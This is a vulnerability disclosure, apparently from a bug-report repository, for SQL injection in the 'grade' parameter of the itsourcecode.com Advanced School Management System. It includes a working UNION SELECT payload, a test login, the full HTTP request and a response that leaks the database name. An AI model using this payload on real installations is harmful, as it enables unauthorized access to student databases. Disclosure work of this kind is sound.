

master

...

bug_report / blob / main / vendors / itsourcecode.com / advanced-school-management-system / sql_injection.md



Renrao sql injection

History

1 contributor

37 lines (24 sloc) | 1.32 KB

...

Advanced School Management System v1.0 by itsourcecode.com has SQL injection

Login account:

username: suarez081119@gmail.com

password: 12345

vendors: <https://itsourcecode.com/free-projects/php-project/advanced-school-management-system-in-php-with-source-code/>

Vulnerability url: /school/view/student_grade_wise.php?grade=

Vulnerability location: /school/view/student_grade_wise.php

[+] Payload: /school/view/student_grade_wise.php?grade=11'%20union%20select%20database()%2c2%2c3%3b%23

Leak place : grade

Current database name: std_db, length is 6

Request package: select all students whose grade is specified

```
GET /school/view/student_grade_wise.php?
grade=11'%20union%20select%20database()%2c2%2c3%3b%23 HTTP/1.1
Host: 10.12.171.4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: */*
Referer: http://10.12.171.4/school/view/all_student.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=cp26rmntdlbhle8qiofns95sv7
Connection: close
```

SQL injection result: line 6 database name is displayed.

Request

PrettyRawHex

1GET /school/view/student_grade_wise.php?grade=11'%20union%20select%20database()%2c2%2c3%3b%23 HTTP/1.1

2Host: 10.12.171.4

3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36

4Accept: */*

5Referer: http://10.12.171.4/school/view/all_student.php

6Accept-Encoding: gzip, deflate

7Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

8Cookie: PHPSESSID=cp26rmntdlbhle8qiofns95sv7

9Connection: close

10

11

Response

PrettyRawHexRender

All Student

ID

Name

Action

1

Student 1jbyb

EditLeaveEdit SubjectUpgradeGradeAdd PaymentView Payments

2

Student 20

EditLeaveEdit SubjectUpgradeGradeAdd PaymentView Payments

3

Student 3

EditLeaveEdit SubjectUpgradeGradeAdd PaymentView Payments

4

Student 4

EditLeaveEdit SubjectUpgradeGradeAdd PaymentView Payments

5

Sandun111111111

EditLeaveEdit SubjectUpgradeGradeAdd PaymentView Payments

6

std_db

EditLeaveEdit SubjectUpgradeGradeAdd PaymentView Payments